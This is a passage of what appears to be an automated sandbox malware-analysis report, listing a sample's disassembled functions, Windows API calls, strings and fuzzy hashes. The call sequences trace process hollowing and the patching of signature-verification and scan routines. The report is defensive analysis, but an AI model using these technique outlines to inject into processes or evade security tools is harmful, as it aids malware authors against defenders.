                                    • Instruction ID: 54a560ef295330b760e67471a834d6c8ce7dfd80d3d3e6b0db043a05ccbf7d2d
                                    • Opcode Fuzzy Hash: 6614ef2d8749fd2e415601de18014dabc3d804d6806855c1d0c90cabf45309ce
                                    • Instruction Fuzzy Hash: E9C08052601524579E1069F42C8C8C3474CCD4D0F73140572F509D3103D3358C1051D0
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCA330 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 02CCA074: GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02CCA2FB,?,?,02CCA38D,00000000,02CCA469), ref: 02CCA088
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02CCA0A0
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02CCA0B2
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02CCA0C4
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02CCA0D6
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02CCA0E8
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02CCA0FA
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32First), ref: 02CCA10C
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02CCA11E
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02CCA130
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02CCA142
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02CCA154
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02CCA166
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32First), ref: 02CCA178
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02CCA18A
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02CCA19C
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02CCA1AE
                                    • Process32Next.KERNEL32(?,00000128), ref: 02CCA341
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AddressProc$HandleModuleNextProcess32
                                    • String ID:
                                    • API String ID: 2237597116-0
                                    • Opcode ID: 37341c9099dc2fbea613635a9d345322d29dcb9263c5e05cc05ebe7296828fdf
                                    • Instruction ID: 1ba341b02801bbb260a746796f34386c3dcea223df46a82ad94556c0b9bf7f12
                                    • Opcode Fuzzy Hash: 37341c9099dc2fbea613635a9d345322d29dcb9263c5e05cc05ebe7296828fdf
                                    • Instruction Fuzzy Hash: 1BC08062601524579F1069F42C8C4C34B4DDD4D0F73180962F509D7101D3258C1051D0
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB7E40 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                    Download Yara Rule
                                    APIs
                                    • GetFileAttributesA.KERNEL32(00000000,02DE2878,02CCDE67,ScanString,02CD6C14,ScanBuffer,02CD6C14,UacInitialize,02CD6C14,UacScan,02CD6C14,Initialize,02CD6C14,ScanBuffer,02CD6C14,OpenSession), ref: 02CB7E4B
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AttributesFile
                                    • String ID:
                                    • API String ID: 3188754299-0
                                    • Opcode ID: 39d99aea2b4b3de8ff8324b5e373e5cbc7456bababb3b7d58f404b20ec88a84a
                                    • Instruction ID: 3c1ff368fca9ebc2512bceb03a949d2d2d7dd6fb50392331d588b3f8d21c4752
                                    • Opcode Fuzzy Hash: 39d99aea2b4b3de8ff8324b5e373e5cbc7456bababb3b7d58f404b20ec88a84a
                                    • Instruction Fuzzy Hash: ACC08CA6A012840E9B66AAFC1CC41E942CC0EC913CF240E21E838DA2D2D3319C2A7820
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB7E64 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                    Download Yara Rule
                                    APIs
                                    • GetFileAttributesA.KERNEL32(00000000,02DE2878,02CD0617,ScanString,02CD6C14,OpenSession,02CD6C14,ScanBuffer,02CD6C14,OpenSession,02CD6C14,ScanString,02CD6C14,Initialize,02CD6C14,ScanBuffer), ref: 02CB7E6F
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AttributesFile
                                    • String ID:
                                    • API String ID: 3188754299-0
                                    • Opcode ID: d4a25932c1186a40cb6d5613e0fc1b23b5cf5f8b84d23e416c631f776c8215f9
                                    • Instruction ID: 5017323ddb62037f593e55699502587fae5874f1f69419cd315cf9de7ad336bf
                                    • Opcode Fuzzy Hash: d4a25932c1186a40cb6d5613e0fc1b23b5cf5f8b84d23e416c631f776c8215f9
                                    • Instruction Fuzzy Hash: AFC08CA6E123800E1F62AAFC0CC05D952CC0ED813DF201E21F828D62D2D336889A3810
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB4C3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: FreeString
                                    • String ID:
                                    • API String ID: 3341692771-0
                                    • Opcode ID: aa052d25dd78002e50aa44a6486536333a5d6d40c34ef5eb19ce88693e560bd5
                                    • Instruction ID: d19ff87b033d5c16046b005fe82f2422bdd57f146862d4ff0b78b60f43b72365
                                    • Opcode Fuzzy Hash: aa052d25dd78002e50aa44a6486536333a5d6d40c34ef5eb19ce88693e560bd5
                                    • Instruction Fuzzy Hash: 97C080B160463047FF3B9A5C9CD17D562CCDF457D6F1800A1D518D7242E760DD009775
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CD7694 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                    Download Yara Rule
                                    APIs
                                    • timeSetEvent.WINMM(00002710,00000000,02CD7688,00000000,00000001), ref: 02CD76A4
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Eventtime
                                    • String ID:
                                    • API String ID: 2982266575-0
                                    • Opcode ID: 7a3c83441e35e146c347dfd452c886f4ee25841d9d00c31123607d5a81c13b46
                                    • Instruction ID: 028ada2c2adb27af5eaa7febfdd270747c2f6feb1e6749e24685670d85a1a828
                                    • Opcode Fuzzy Hash: 7a3c83441e35e146c347dfd452c886f4ee25841d9d00c31123607d5a81c13b46
                                    • Instruction Fuzzy Hash: B1C092F47D13407EFA1066B95CC2F67A69DDB14B01F500416BB14EE2C1E1E24C111F64
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB4BFC Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • SysAllocStringLen.OLEAUT32(00000000,?), ref: 02CB4C03
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AllocString
                                    • String ID:
                                    • API String ID: 2525500382-0
                                    • Opcode ID: a58847c83cd719dccc7eadc7ea48a36911e6046ec6b401b7504d2a9bf001b2b2
                                    • Instruction ID: f1c834835dfe51dcefa1f9dc495dd9102d9d822db201819ac07a3331cf618778
                                    • Opcode Fuzzy Hash: a58847c83cd719dccc7eadc7ea48a36911e6046ec6b401b7504d2a9bf001b2b2
                                    • Instruction Fuzzy Hash: 8AB0923824C60158EA6E15220E617F2004C0FD0686F8804519E28C8082EA41C501983B
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB4C14 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                    Download Yara Rule
                                    APIs
                                    • SysFreeString.OLEAUT32(00000000), ref: 02CB4C1B
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: FreeString
                                    • String ID:
                                    • API String ID: 3341692771-0
                                    • Opcode ID: 98a5ded0fdb0df2e5a062e13461102ebbb408f0f94918d0aa90ba91e9420b17a
                                    • Instruction ID: cfe7f65cb9847ce3891902c521d34b882645457dfd61c8a0bf658cc52ca28edb
                                    • Opcode Fuzzy Hash: 98a5ded0fdb0df2e5a062e13461102ebbb408f0f94918d0aa90ba91e9420b17a
                                    • Instruction Fuzzy Hash: 73A0247C404703054F1F171D003015D30337FC07017CCC4D40100050014F7540007C34
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02CB1A03,?,02CB1FC1), ref: 02CB15E2
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AllocVirtual
                                    • String ID:
                                    • API String ID: 4275171209-0
                                    • Opcode ID: 9393f3179dba8f3702a91948d7ec60c6e9e45b7d0aa82bde185a377689b25c5f
                                    • Instruction ID: a515dd335f9306d602c341ab9e51f4ccc2474a84a7021a32f5cef2637e1fca1f
                                    • Opcode Fuzzy Hash: 9393f3179dba8f3702a91948d7ec60c6e9e45b7d0aa82bde185a377689b25c5f
                                    • Instruction Fuzzy Hash: A1F049F0B413008FDF06CF7999523627AD2FB89348F24867AD609DF788E7B188018B20
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02CB1FC1), ref: 02CB16A4
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AllocVirtual
                                    • String ID:
                                    • API String ID: 4275171209-0
                                    • Opcode ID: 362015d9e15990713a08bc622238b2f4036699c9b0e827a106cfe6c7d63efb83
                                    • Instruction ID: 0d5ea8d6d2622be176e0c28f86615625e87a366258c477c6bfc27acfa1f99b25
                                    • Opcode Fuzzy Hash: 362015d9e15990713a08bc622238b2f4036699c9b0e827a106cfe6c7d63efb83
                                    • Instruction Fuzzy Hash: 61F0B4B2B40795ABDB219F5A9C91782BB98FB41314F050279F90D9B344D7B0A810CB94
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB16E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON
                                    Download Yara Rule
                                    APIs
                                    • VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02CB1FE4), ref: 02CB1704
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: FreeVirtual
                                    • String ID:
                                    • API String ID: 1263568516-0
                                    • Opcode ID: 07e4e1866c766d5b086f4a86eff9e8719d70ffef2e579b977ce1d720c18864b1
                                    • Instruction ID: 7ffab64eb8bfa537f5dd907cb53b482e9ad59fd700255d11b7ef807450f9ed74
                                    • Opcode Fuzzy Hash: 07e4e1866c766d5b086f4a86eff9e8719d70ffef2e579b977ce1d720c18864b1
                                    • Instruction Fuzzy Hash: 1AE08675340301AFD7115B7A5D507926BDCEF44664F184475F509DB241D2E0E8108B60
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Non-executed Functions

                                    Function 02CCA074 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02CCA2FB,?,?,02CCA38D,00000000,02CCA469), ref: 02CCA088
                                    • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02CCA0A0
                                    • GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02CCA0B2
                                    • GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02CCA0C4
                                    • GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02CCA0D6
                                    • GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02CCA0E8
                                    • GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02CCA0FA
                                    • GetProcAddress.KERNEL32(00000000,Process32First), ref: 02CCA10C
                                    • GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02CCA11E
                                    • GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02CCA130
                                    • GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02CCA142
                                    • GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02CCA154
                                    • GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02CCA166
                                    • GetProcAddress.KERNEL32(00000000,Module32First), ref: 02CCA178
                                    • GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02CCA18A
                                    • GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02CCA19C
                                    • GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02CCA1AE
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AddressProc$HandleModule
                                    • String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
                                    • API String ID: 667068680-597814768
                                    • Opcode ID: 111389d47579c6b864fb10bcddc151dc034a129b3da7f57dd5a30d2342e06400
                                    • Instruction ID: 0983d6e37cc5b500f6918533a53fd15951b5e9ddb815af0edcacbf3b2ca76606
                                    • Opcode Fuzzy Hash: 111389d47579c6b864fb10bcddc151dc034a129b3da7f57dd5a30d2342e06400
                                    • Instruction Fuzzy Hash: 7B319DB0981624DFFF019FF4E889F9537ADAF0AB50F600A69E405DF208D6759450DF21
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CC7F00 Relevance: 43.9, APIs: 8, Strings: 16, Instructions: 1882nativethreadprocessCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 02CC7B74: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BAC
                                      • Part of subcall function 02CC7B74: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BBA
                                      • Part of subcall function 02CC7B74: GetProcAddress.KERNEL32(74180000,00000000), ref: 02CC7BD3
                                      • Part of subcall function 02CC7B74: GetCurrentProcess.KERNEL32(02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BEC
                                      • Part of subcall function 02CC7B74: NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BF2
                                      • Part of subcall function 02CC7B74: GetCurrentProcess.KERNEL32(02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C1C
                                      • Part of subcall function 02CC7B74: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C22
                                      • Part of subcall function 02CC7B74: FreeLibrary.KERNEL32(74180000,00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000), ref: 02CC7C2D
                                    • CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02CEE38C,02CEE37C,OpenSession,02CEE354,02CC9EF8,ScanString,02CEE354), ref: 02CC8328
                                    • GetThreadContext.KERNEL32(00000000,02CEE3D0,ScanString,02CEE354,02CC9EF8,Initialize,02CEE354,02CC9EF8,UacScan,02CEE354,02CC9EF8,UacInitialize,02CEE354,02CC9EF8,ScanString,02CEE354), ref: 02CC876E
                                    • NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,-00000008,02CEE4A4,00000004,02CEE4AC,ScanString,02CEE354,02CC9EF8,Initialize,02CEE354,02CC9EF8,UacScan,02CEE354,02CC9EF8,UacInitialize,02CEE354), ref: 02CC895A
                                    • NtUnmapViewOfSection.C:\WINDOWS\SYSTEM32\NTDLL(00000000,?,ScanBuffer,02CEE354,02CC9EF8,ScanString,02CEE354,02CC9EF8,Initialize,02CEE354,02CC9EF8,UacScan,02CEE354,02CC9EF8,UacInitialize,02CEE354), ref: 02CC8BB7
                                      • Part of subcall function 02CC79BC: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02CC79C9
                                      • Part of subcall function 02CC79BC: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02CC79CF
                                      • Part of subcall function 02CC79BC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CC79EF
                                    • NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,02CEE4AC,ScanBuffer,02CEE354,02CC9EF8,ScanBuffer,02CEE354,02CC9EF8,ScanString,02CEE354,02CC9EF8,Initialize,02CEE354), ref: 02CC935B
                                    • NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,-00000008,02CEE4A8,00000004,02CEE4AC,OpenSession,02CEE354,02CC9EF8,ScanBuffer,02CEE354,02CC9EF8,UacInitialize,02CEE354,02CC9EF8,ScanString,02CEE354), ref: 02CC95B0
                                    • SetThreadContext.KERNEL32(00000000,02CEE3D0,ScanBuffer,02CEE354,02CC9EF8,UacInitialize,02CEE354,02CC9EF8,UacInitialize,02CEE354,02CC9EF8,UacInitialize,02CEE354,02CC9EF8,ScanBuffer,02CEE354), ref: 02CC995B
                                    • NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,ScanBuffer,02CEE354,02CC9EF8,OpenSession,02CEE354,02CC9EF8,00000000,02CEE3D0,ScanBuffer,02CEE354,02CC9EF8,UacInitialize,02CEE354,02CC9EF8), ref: 02CC9A4A
                                      • Part of subcall function 02CC7B14: LoadLibraryW.KERNEL32(bcrypt,02CC9EF8,Initialize,02CEE354,02CC9EF8,UacScan,02CEE354,02CC9EF8,UacInitialize,02CEE354,02CC9EF8,00000000,02CEE3D0,ScanString,02CEE354,02CC9EF8), ref: 02CC7B26
                                      • Part of subcall function 02CC7B14: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02CC7B33
                                      • Part of subcall function 02CC7B14: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,02CC9EF8,Initialize,02CEE354,02CC9EF8,UacScan,02CEE354,02CC9EF8,UacInitialize), ref: 02CC7B4A
                                      • Part of subcall function 02CC7B14: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,02CC9EF8,Initialize,02CEE354,02CC9EF8,UacScan,02CEE354,02CC9EF8,UacInitialize,02CEE354,02CC9EF8,00000000,02CEE3D0), ref: 02CC7B59
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: MemoryVirtual$LibraryWrite$AddressProcProcessThread$ContextCurrentFreeHandleLoadModule$AllocateCreateProtectReadResumeSectionUnmapUserView
                                    • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$ntdll
                                    • API String ID: 1232097254-1058128293
                                    • Opcode ID: 41dcdc02caceaa74eabe745c19d00661212dd00ebd8d6ad4464c601c20437206
                                    • Instruction ID: 7f1d659f4ac0d15a78fe2c169d8d41170099b2b2b11deba5c72d73c25b80bc92
                                    • Opcode Fuzzy Hash: 41dcdc02caceaa74eabe745c19d00661212dd00ebd8d6ad4464c601c20437206
                                    • Instruction Fuzzy Hash: EB031271A041689FDF26EB64CDE0ADEB3BAAF49700F2045E6E009BB615DE309E45DF50
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB58CC Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleHandleA.KERNEL32(kernel32.dll,02CB7360,02CB0000,02CD9790), ref: 02CB58E9
                                    • GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02CB5900
                                    • lstrcpynA.KERNEL32(?,?,?), ref: 02CB5930
                                    • lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02CB7360,02CB0000,02CD9790), ref: 02CB5994
                                    • lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02CB7360,02CB0000,02CD9790), ref: 02CB59CA
                                    • FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02CB7360,02CB0000,02CD9790), ref: 02CB59DD
                                    • FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02CB7360,02CB0000,02CD9790), ref: 02CB59EF
                                    • lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02CB7360,02CB0000,02CD9790), ref: 02CB59FB
                                    • lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02CB7360,02CB0000), ref: 02CB5A2F
                                    • lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02CB7360), ref: 02CB5A3B
                                    • lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02CB5A5D
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
